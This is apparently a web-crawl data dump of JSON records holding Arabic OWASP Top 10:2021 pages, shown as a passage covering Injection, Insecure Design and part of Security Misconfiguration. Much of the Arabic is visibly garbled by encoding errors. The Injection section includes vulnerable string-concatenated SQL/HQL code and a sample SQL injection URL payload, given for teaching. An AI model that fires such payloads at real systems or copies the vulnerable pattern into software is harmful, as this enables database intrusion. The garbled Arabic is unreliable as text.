بشكل مباشر إلى مترجم الأوامر بدون استخدام آلية واعية تضمن تهرب المدخلات من التفاعل مع مترجم الأوامر \"Context-aware escaping\".\n- المدخلات الضَّارة التي يتم استخدامها والبحث عنها في (Object-relational mapping ORM) والتي قد تقوم بتسريب بيانات إضافية غير مطلوبة أو بيانات حساس؊.\n- تمرير المدخلات الضَّارة بشكل مباشر أو بشكل متسلسل غير مباشر، قواعد البيانات العلائقية \"SQL\" أو الأوامر التي تحتوي على هياكل وبيانات مشبوهة في طلبات الاستعلام الديناميكية \"dynamic queries” أو الأوامر أو الإجراءات المخزّنة\n\nمن أشهر أنواع الحقن : الـ SQL، NoSQL، سءع الأوامر في أنظمة التشغيل، ؎عا،ء عبء الكائنات بقواعد البيانات العلائقية \"Object-relational mapping”، LDAP، ولغات البرمجة التعبيرية \"EL\"، مكتبات التنقّل خلال مخططات الكائنات\"OGNL\". مبدأ \"الحقن\" مُتطابق في جميع لغات البرمجة وفي جميع المفسّرات، مراجعة مصدر الشّفرة المصدرية هي أفضل طريقة لاكتشاف ما ؼذا كان التطبيق البرمجي عُرضة للإصابة ب؍غع؊ الحقن. يوصَّى بشدّة بالفحص التلقائي لكل المعاملات تروسيات ؾفحات الويب، الروابط التشعبيّة \"URL\"، وملفات تعريف الارتباط \"Cookies\"، و JSONو الـ SOAP ومدخلات معطيات الـ XML. المنظمات بإمكانها ؼ؜اف؊ أدوات الفحص ؍ابت؊ المصدر\"SAST\" وأدوات الفحص الديناميكية للتطبيقات البرمجية \"DAST\"واستخدامها في مسارات CI/CD، لتحديد العيوب الموجودة من قبل عملية ءعح المنتج للاستخدام.\n\n## كيفية الحماية منها\n\n- لتفادي هجمات الحقن يجب الفصل والتفّريق بين كل من البيانات والأوامر والاستعلامات.\n- ُفضّل استخدام **واجهات برمجة تطبيقات (API) ** آمنة، وذلك لتفادي استخدام ** مفسّر الأوامر** كُلّيًا، و توفير واجهة إدخال ذات معاملات \" Parametrized Interface \" أو الانتقال إلى استخدام كائنات الـ \"Relational Mapping Tools (ORMs)\".\n- ملاحظة: حتى في حال استخدام المعاملات\" Parameterized” الإجراءات المخزّنة قد لا تزال قاعدة البيانات مُعرّضة لهجمات الحقن في حال كانت الـ PL/SQL أو T-SQL قابلة لتنفيذ الاستعلامات المتسلسلة \"الغير مباشرة \" أو تنفيذ تعليمات برمجية ضارّة من خلال EXECUTE IMMEDIATE أو exec ().\n- استخدام عمليات التحقّق من المدخلات الإيجابية و المرتبطة ب \"قوائم السماح/القوائم البيضاء\" من ءعف الخادم. لكن هذه لا تؚتبع حماية متكاملة حيث أن هناك العديد من البرامج تتطّلب رموز ؎اؾ؊ \"Special Characters\" مثل حقل النص (TextArea) أو واجهات تطبيقات البرامج (APIs) لتطبيقات الهواتف.\n- في حال و؏ود استعلامات ديناميكية متبقية، قم بتصفية الاستعلام من الرموز الخاصة من خلال استخدام صيغة برمجية \"Syntax \" لتصفية المدخلات المحددة إلى مفسّر الأوامر.\n- ملاحظة: هيكلة SQL مثل أسماء الجداول أو الأعمدة وغيرها، لا يمكن ؼ؏عاإ عوامل التصفية عليها، لذلك يجب الحذر من هياكل البيانات القادمة من المستخدم حيث أنها تؚتبع ؎ءع؊. وهذا ؎ءأ شا،ؚ عند كتاب؊-تقارير البرمجيات.\n- ؜ؚ حدودا و أو ؜وابء تحكّم أخرى عند استخدام الاستعلامات داخل SQL، لتجنّب كشف السجلات الحساسة في حال و؏ود هجمات حقن الـ SQL\n\n## أمثلة على سيناريوهات الهجوŮ\n\n**سيناريو #1:** برنامج يستخدم بيانات غير موثقة في بناء الاستعلام في قاعدة بيانات الSQL والتي قد يعرضها للحقن:\n\nString query = \"SELECT * FROM accounts WHERE custID='\" +\nrequest.getParameter(\"id\") + \"'\";\n\n**سيناريو #2:** الثقة العمياء للبرنامج في ؼءاع العمل (Framework) وقد تؤدي تلك الاستعلامات إلى ؍غعات الحقن مثل Hibernate Query Language (HQL):\n\n> Query HQLQuery = session.createQuery(\"FROM accounts WHERE custID='\" +\n> request.getParameter(\"id\") + \"'\");\n\nفي كلتا الحالتين السابقتين، المُخترق قام بتعديل قيمة متغيّر الـ id في المتصفح لإرسال ‘ UNION SELECT SLEEP(10);-- . مثلاً:\n\nhttp://example.com/app/accountView?id=' UNION SELECT SLEEP(10);--\n\nوهذا ينتج تغيير في معنى الاستعلام للحصول على جميع السجلات من جدول الحسابات. وقد يستغلّها المُخترق بشكل آ؎ع لتعديل أو حذف أو حتى استدؚاإ العمليات المخزّنة.\n\n## المصادر\n\n- [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/v3/en/c3-secure-database)\n- [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: SQL Injection,](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection) [Command Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection),\n and [ORM Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)\n- [OWASP Cheat Sheet: Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Injection Prevention in Java](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html)\n- [OWASP Cheat Sheet: Query Parameterization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [OWASP Automated Threats to Web Applications – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [PortSwigger: Server-side template injection](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)\n\n## قائمة الربط مع ؼءاع CWEs\n\n[CWE-20 Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n\n[CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')](https://cwe.mitre.org/data/definitions/74.html)\n\n[CWE-75 Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)](https://cwe.mitre.org/data/definitions/75.html)\n\n[CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')](https://cwe.mitre.org/data/definitions/77.html)\n\n[CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html)\n\n[CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html)\n\n[CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)](https://cwe.mitre.org/data/definitions/80.html)\n\n[CWE-83 Improper Neutralization of Script in Attributes in a Web Page](https://cwe.mitre.org/data/definitions/83.html)\n\n[CWE-87 Improper Neutralization of Alternate XSS Syntax](https://cwe.mitre.org/data/definitions/87.html)\n\n[CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')](https://cwe.mitre.org/data/definitions/88.html)\n\n[CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](https://cwe.mitre.org/data/definitions/89.html)\n\n[CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')](https://cwe.mitre.org/data/definitions/90.html)\n\n[CWE-91 XML Injection (aka Blind XPath Injection)](https://cwe.mitre.org/data/definitions/91.html)\n\n[CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')](https://cwe.mitre.org/data/definitions/93.html)\n\n[CWE-94 Improper Control of Generation of Code ('Code Injection')](https://cwe.mitre.org/data/definitions/94.html)\n\n[CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html)\n\n[CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')](https://cwe.mitre.org/data/definitions/96.html)\n\n[CWE-97 Improper Neutralization of Server-Side Includes (SSI) Within a Web Page](https://cwe.mitre.org/data/definitions/97.html)\n\n[CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')](https://cwe.mitre.org/data/definitions/98.html)\n\n[CWE-99 Improper Control of Resource Identifiers ('Resource Injection')](https://cwe.mitre.org/data/definitions/99.html)\n\n[CWE-100 Deprecated: Was catch-all for input validation issues](https://cwe.mitre.org/data/definitions/100.html)\n\n[CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\n\n[CWE-116 Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)\n\n[CWE-138 Improper Neutralization of Special Elements](https://cwe.mitre.org/data/definitions/138.html)\n\n[CWE-184 Incomplete List of Disallowed Inputs](https://cwe.mitre.org/data/definitions/184.html)\n\n[CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')](https://cwe.mitre.org/data/definitions/470.html)\n\n[CWE-471 Modification of Assumed-Immutable Data (MAID)](https://cwe.mitre.org/data/definitions/471.html)\n\n[CWE-564 SQL Injection: Hibernate](https://cwe.mitre.org/data/definitions/564.html)\n\n[CWE-610 Externally Controlled Reference to a Resource in Another Sphere](https://cwe.mitre.org/data/definitions/610.html)\n\n[CWE-643 Improper Neutralization of Data within XPath Expressions ('XPath Injection')](https://cwe.mitre.org/data/definitions/643.html)\n\n[CWE-644 Improper Neutralization of HTTP Headers for Scripting Syntax](https://cwe.mitre.org/data/definitions/644.html)\n\n[CWE-652 Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')](https://cwe.mitre.org/data/definitions/652.html)\n\n[CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](https://cwe.mitre.org/data/definitions/917.html)", "znaku_textu": 12616, "slov": 1283, "odkazu": 83, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:45:04", "sha256": "973be22eca1c60ef4f3c2e33faac254565b096871518824a6568580f2a0e3eb4", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html", "https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html", "https://portswigger.net/kb/issues/00101080_serversidetemplateinjection", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/74.html", "https://cwe.mitre.org/data/definitions/75.html", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/78.html", "https://cwe.mitre.org/data/definitions/79.html", "https://cwe.mitre.org/data/definitions/80.html", "https://cwe.mitre.org/data/definitions/83.html", "https://cwe.mitre.org/data/definitions/87.html", "https://cwe.mitre.org/data/definitions/88.html", "https://cwe.mitre.org/data/definitions/89.html", "https://cwe.mitre.org/data/definitions/90.html", "https://cwe.mitre.org/data/definitions/91.html", "https://cwe.mitre.org/data/definitions/93.html", "https://cwe.mitre.org/data/definitions/94.html", "https://cwe.mitre.org/data/definitions/95.html", "https://cwe.mitre.org/data/definitions/96.html", "https://cwe.mitre.org/data/definitions/97.html", "https://cwe.mitre.org/data/definitions/98.html", "https://cwe.mitre.org/data/definitions/99.html", "https://cwe.mitre.org/data/definitions/100.html", "https://cwe.mitre.org/data/definitions/113.html", "https://cwe.mitre.org/data/definitions/116.html", "https://cwe.mitre.org/data/definitions/138.html", "https://cwe.mitre.org/data/definitions/184.html", "https://cwe.mitre.org/data/definitions/470.html", "https://cwe.mitre.org/data/definitions/471.html", "https://cwe.mitre.org/data/definitions/564.html", "https://cwe.mitre.org/data/definitions/610.html", "https://cwe.mitre.org/data/definitions/643.html", "https://cwe.mitre.org/data/definitions/644.html", "https://cwe.mitre.org/data/definitions/652.html", "https://cwe.mitre.org/data/definitions/917.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A04_2021-Insecure_Design/", "titulek": "A04 التصميم الغير آمن - OWASP Top 10:2021", "h1": "A04:2021 – التصميم الغير آمن", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A04_2021-Insecure_Design/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A04:2021 – التصميم الغير آمن"}, {"uroven": 2, "text": "العوامل"}, {"uroven": 2, "text": "نظرة عامة"}, {"uroven": 2, "text": "الوصف"}, {"uroven": 2, "text": "كيفية الحماية منها"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوŮ"}, {"uroven": 2, "text": "المصادر"}, {"uroven": 2, "text": "قائمة الربط مع ؼءاع CWEs"}], "markdown": "# A04:2021 – التصميم الغير آمن\n\n## العوامل\n\n| ربطها مع CWEs | الحد الأقصى للحدوث | متوسط معدل الحدوث | التغطية القصوى | متوسط معدل التغطية | متوسط استغلال الثغرات | متوسط التأثير | إجمالي التكرار | إجمالي نقاط الضعف CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 40 | 24.19% | 3.00% | 77.25% | 42.51% | 6.46 | 6.78 | 262,407 | 2,691 |\n\n## نظرة عامة\n\nهو تصنيف جديد تمت إضافته في هذه النسخة لعام 2021 والذي يركّز على المخاطر المتعلقة بعيوب وأ؎ءاإ التصميم، مما يدعو إلى المزيد من استخدام نمذجة التهديدات، وأنماط التصميم الآمنة وبنية تحتية مبنيّة على أفضل الامتثالات. الجدير بالذكر أن ؼءاع CWE تضمن الـ CWEs التالية: CWE-209، CWE-256، CWE-501، CWE-522.\n\n## الوصف\n\nالتصميم الغير آمن تصنيف واسؚ يشمل العديد من نقاط الضعف المختلفة، ويُعرف على أنه \" تصميم ذو عنصر تحكم \" Control “مفقود أو غير فعّال، التصميم الغير آمن هو المكان الذي يكون فيه عنصر التحكم غائبًا، على سبيل المثال، لنفرض أن هناك **شفّرة مصدرية** يجب أن تُراعي تشفير البيانات الحساسة ولكن لا تو؏د طريقة لتطبيق التشّفير.\n التصميم الغير آمن والغير فعّال هو: المكان حينما يمكن ؼدعاك و؏ود التهديد، لكن التحقّق المنطقي الغير فعّال من ف؜اإ العمل (الأعمال) يمنع تنفيذ الإجراء. على سبيل المثال لنفرض أن هناك ف؜اإ عمل يجب أن يقوم بمعالجة الإعفاء الضريبي للجائحة بناءً على ف،ات الدخل لكنه لا يقوم بالتحقّق فيما ؼذا كانت البيانات المدخلة موقعة بشكل صحيح أو لا، مما قد يؤدي إلى فا،د؊ أك؍ع مما ينبغي . \nالتصميم الآمن ؚباع؊ عن ثقافة ومنهجيّة تقوم بتقييم التهديدات باستمرار وتضمن أن **الشّفرة المصدرية** مصمّمة بشكل قوي ومختبرة ؜د طرق الهجوم المعروفة. يتطلّب التصميم الآمن دوع؊ حياة تطوير آمنة، والبعض من أنماط التصميم الآمنة أو مكتبات المكونات المجهزة مُسبقًا أو الأدوات ونمذجة التهديدات.\n\n## كيفية الحماية منها\n\n- إنشاء واستخدام دوع؊ حياة تطوير آمنة مع الاستعانة بأخصائي أمن تطبيقات لتقييم وتصميم عناصر التحكّم المتعلقة بالأمان والخصوصية.\n- إنشاء واستخدام مكتبة تحتوي على أنماط التصميم الآمن ومكونات مُسبقة وجاهزة للاستخدام.\n- نمذجة التهديدات لعمليات المصادقة \"التحقّق من الهوية\" الحساسة، والتحكّم في الوصول، والتسلسل المنطقي التطبيق، والمسارات الأساسية للتطبيق.\n- وحد؊ للكتابة ولاختبارات التكامل للتحقّق من أن جميع المسارات الحرجة مقاومة لنموذج التهديد المتوقّع.\n\n## أمثلة على سيناريوهات الهجوŮ\n\n**سيناريو #1:** قد يتضمّن مسار عملية استعداد عناصر اعتماد المصداقية\" أسئلة وؼ؏ابات\"، الذي يحظره ؼءاع NIST 800-63b وOWASP ASVS وOWASP Top 10، فلا يمكن الوثوق في الأسئلة والإجابات كأدلّة على ؾح؊ هوية المستخدم حيث يمكن لأكثر من Ř´ŘŽŘľ معرفة الإجابات، وهذا هو سبب حظره. يجب إزالة الشّفرة المصدرية تلك واستبدالها بتصميم أك؍ع أمانًا.\n\n**سيناريو #2:** تقوم دوع سينما بعمل خصومات لعمليات الحجز الجماعي لـ١٥ Ř´ŘŽŘľ كحد أقصى قبل الدفع. هذا المسار قد يُشكّل خطرًا ويسمح للمهاجم با؎تباع ما ؼذا كان بإمكانه ح؏ز ٦٠٠مقعد دفؚ؊ واحد؊ من خلال طلبات قليلة، مما يتسبّب في ؎ساع؊ هائلة للدخل.\n\n**سيناريو #3:** لا تتمتّع مواقع التجارة الإلكترونية من الحماية ؜د الروبوتات التي يُديرها مستثمرون يقومون بشعاإ بطاقات المعالجة الرسومية المطوّرة لإعادة بيعها لاحقًا في مواقع المزادات بأسؚاع أعلى. هذا يضع صانعيّ كعوت الفيديو وكذلك متاجر البيع بالتجزئة في موقف حرج، التصاميم اليقظة ؜د الروبوتات وؼ؜اف؊ قواعد تصميم النطاق المعتمدة على المنطق \" مثل عؾد عمليات الشراء التي تتم في غضون ثوانٍ معدودة \"قد تعؾد عمليات الشراء الغير طبيعية وتقوم برفضها.\n\n## المصادر\n\n- [OWASP Cheat Sheet: Secure Design Principles](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html)\n- [OWASP SAMM: Design:Security Architecture](https://owaspsamm.org/model/design/security-architecture/)\n- [OWASP SAMM: Design:Threat Assessment](https://owaspsamm.org/model/design/threat-assessment/)\n- [NIST – Guidelines on Minimum Standards for Developer Verification of Software](https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software)\n- [The Threat Modeling Manifesto](https://threatmodelingmanifesto.org)\n- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling)\n\n## قائمة الربط مع ؼءاع CWEs\n\n[CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n\n[CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n\n[CWE-209 Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n\n[CWE-213 Exposure of Sensitive Information Due to Incompatible Policies](https://cwe.mitre.org/data/definitions/213.html)\n\n[CWE-235 Improper Handling of Extra Parameters](https://cwe.mitre.org/data/definitions/235.html)\n\n[CWE-256 Unprotected Storage of Credentials](https://cwe.mitre.org/data/definitions/256.html)\n\n[CWE-257 Storing Passwords in a Recoverable Format](https://cwe.mitre.org/data/definitions/257.html)\n\n[CWE-266 Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html)\n\n[CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)\n\n[CWE-280 Improper Handling of Insufficient Permissions or Privileges](https://cwe.mitre.org/data/definitions/280.html)\n\n[CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n\n[CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)\n\n[CWE-313 Cleartext Storage in a File or on Disk](https://cwe.mitre.org/data/definitions/313.html)\n\n[CWE-316 Cleartext Storage of Sensitive Information in Memory](https://cwe.mitre.org/data/definitions/316.html)\n\n[CWE-419 Unprotected Primary Channel](https://cwe.mitre.org/data/definitions/419.html)\n\n[CWE-430 Deployment of Wrong Handler](https://cwe.mitre.org/data/definitions/430.html)\n\n[CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)\n\n[CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n\n[CWE-451 User Interface (UI) Misrepresentation of Critical Information](https://cwe.mitre.org/data/definitions/451.html)\n\n[CWE-472 External Control of Assumed-Immutable Web Parameter](https://cwe.mitre.org/data/definitions/472.html)\n\n[CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)\n\n[CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)\n\n[CWE-525 Use of Web Browser Cache Containing Sensitive Information](https://cwe.mitre.org/data/definitions/525.html)\n\n[CWE-539 Use of Persistent Cookies Containing Sensitive Information](https://cwe.mitre.org/data/definitions/539.html)\n\n[CWE-579 J2EE Bad Practices: Non-serializable Object Stored in Session](https://cwe.mitre.org/data/definitions/579.html)\n\n[CWE-598 Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n\n[CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)\n\n[CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)\n\n[CWE-646 Reliance on File Name or Extension of Externally-Supplied File](https://cwe.mitre.org/data/definitions/646.html)\n\n[CWE-650 Trusting HTTP Permission Methods on the Server Side](https://cwe.mitre.org/data/definitions/650.html)\n\n[CWE-653 Insufficient Compartmentalization](https://cwe.mitre.org/data/definitions/653.html)\n\n[CWE-656 Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)\n\n[CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)\n\n[CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n\n[CWE-807 Reliance on Untrusted Inputs in a Security Decision](https://cwe.mitre.org/data/definitions/807.html)\n\n[CWE-840 Business Logic Errors](https://cwe.mitre.org/data/definitions/840.html)\n\n[CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)\n\n[CWE-927 Use of Implicit Intent for Sensitive Communication](https://cwe.mitre.org/data/definitions/927.html)\n\n[CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)\n\n[CWE-1173 Improper Use of Validation Framework](https://cwe.mitre.org/data/definitions/1173.html)", "znaku_textu": 10261, "slov": 1029, "odkazu": 85, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:45:05", "sha256": "2a1d3dd7d03f4e3415e6e1bda13de51c0f3883b39da47bca12f5f36539365700", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html", "https://owaspsamm.org/model/design/security-architecture/", "https://owaspsamm.org/model/design/threat-assessment/", "https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software", "https://threatmodelingmanifesto.org/", "https://github.com/hysnsec/awesome-threat-modelling", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/213.html", "https://cwe.mitre.org/data/definitions/235.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/257.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/280.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/430.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/579.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/650.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/840.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/927.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1173.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A05_2021-Security_Misconfiguration/", "titulek": "A05 الإعدادات الأمنية الخاطئة - OWASP Top 10:2021", "h1": "A05:2021 – الإعدادات الأمنية الخاطئة", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A05_2021-Security_Misconfiguration/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A05:2021 – الإعدادات الأمنية الخاطئة"}, {"uroven": 2, "text": "العوامل"}, {"uroven": 2, "text": "نظرة عامة"}, {"uroven": 2, "text": "الوصف"}, {"uroven": 2, "text": "كيفية الحماية منها"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوŮ"}, {"uroven": 2, "text": "المصادر"}, {"uroven": 2, "text": "قائمة الربط مع ؼءاع CWEs"}], "markdown": "# A05:2021 – الإعدادات الأمنية الخاطئة\n\n## العوامل\n\n| ربطها مع CWEs | الحد الأقصى للحدوث | متوسط معدل الحدوث | التغطية القصوى | متوسط معدل التغطية | متوسط استغلال الثغرات | متوسط التأثير | إجمالي التكرار | إجمالي نقاط الضعف CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 20 | 19.84% | 4.51% | 89.58% | 44.84% | 8.12 | 6.56 | 208,387 | 789 |\n\n## نظرة عامة\n\nبؚد أن كان هذا التهديد في المرتبة السادسة في الإصدار السابق لعام 2017 الآن نجده في المرتبة الخامسة، حيث أنه تم ؼ؏عاإ ا؎تباع على %90 من البرامج والتطبيقات للتأكد إن كانت تحتوي على أيّة أ؎ءاإ في طريقة الإعدادات والتكوين الصحيحة، فليس من المُستغرب انتقال هذا التهديد من المرتبة السادسة إلى الخامسة. كذلك تم ضم \"XML External Entities XXE\" لهذا النوع من الإعدادات والتكوين الخاطئة. تضمن الـ CWEs التالية CWE-16 (Configuration), CWE-611 (Improper Restriction of XML External Entity).\n\n## الوصف\n\nمن المحتمل ان يكون التطبيق ضعيف امنياً ؼذا احتوى على النقاط التالية:\n\n- عدم مراجعة التكوين والضبط الآمن لإعدادات التطبيق أو في أي ؏زإ من أ؏زاإ التطبيق أو تكوين أذونات ؎اء،؊ في الخدمات السحابيّة.\n- تثبيت وؼتاح؊ خدمات ومِيزات غير ضرورية (منافذ غير ضرورية، الخدمات، الصفحات، الحسابات، والصلاحيات).\n- تفعيل الحسابات الافتراضية أو عدم تغييرها أو عدم تغيير كلمات المرور الخاصة بها.\n- كشف رسائل معالجة الأخطاء (Error Handling) عن معلومات قابلة للتتبّع (Stack Traces) أو ؚع؜ رسائل الخطأ التي تحتوي على معلومات تفصيلية يمكن أن تُستغل من قِبل المستخدم.\n- تكون الميزات الأمنية الأحدث مُعطّلة أو لم يتم تكوينها بشكل آمن في الأنظمة التي تمت ترقيتها.\n- عدم تعيين ؼؚدادات الأمان في خوادم التطبيقات وؼءاع التطبيقات على سبيل المثال (Struts, Spring, ASP.NET) والمكتبات وقواعد البيانات وما إلى ذلك إلى قيم آمنة.\n- لا يرسل أو يستخدم الخادم عناوين \"Headers\" عند نقل البيانات الحساسة للمتصفح أو عند تقديمها من قِبل المتصفح.\n- لم يعد البرنامج مدعومًا من قبل مزوّدي الخدمات أو ضعيف أمنيًا لاحتوائه على ؍غعات أمنية (انظر إلى - A06:2021 الثغرات والأنظمة الغير قابلة للتحديث).\n\nمن دون امتلاك ؼ؏عاإات مفهومة وقابلة للتكّرار للإعدادات الأمنية لتكوين البرنامج بما يتوافق مع الضوابط الأمنية، تُصبح الأنظمة في ؎ءع عالي.\n\n## كيفية الحماية منها\n\nيجب تطبيق آلية آمنة لتكوين البرامج أو الأجهزة، تشمل على:\n\n- تكعاع عملية مراجعة التكوين الآمن، والذي سيؤدي إلى تسريع وتسهيل مهمة إنشاء بيئة جديدة مكوّنة بشكل آمن. كما يجب أن يتم تكوين بيئات التطوير وضمان ؏ود؊ وبيئة الإنتاج بشكل يتطابق مع استخدام كلمات مرور مختلفة في كل بيئة. أيضًا يجب أن تكون هذه العملية آلية للتقليل من الجهد المتطلّب عند ؼؚداد بيئة جديدة وآمنة.\n- الاكتفاء بالحد الأدنى الأساسي من النظام أو المنصّة بدون تفعيل مِيزات، أو مكونات، أو وثائق، أو عيّنات غير ضرورية، مع حذف وإبطال الميزات وؼءاع الغير مستخدمة أو عدم تثبيتها.\n- مراجعة وتحديث الإعدادات بما يتناسب مع كاف؊ ملاحظات الأمان والتحديثات 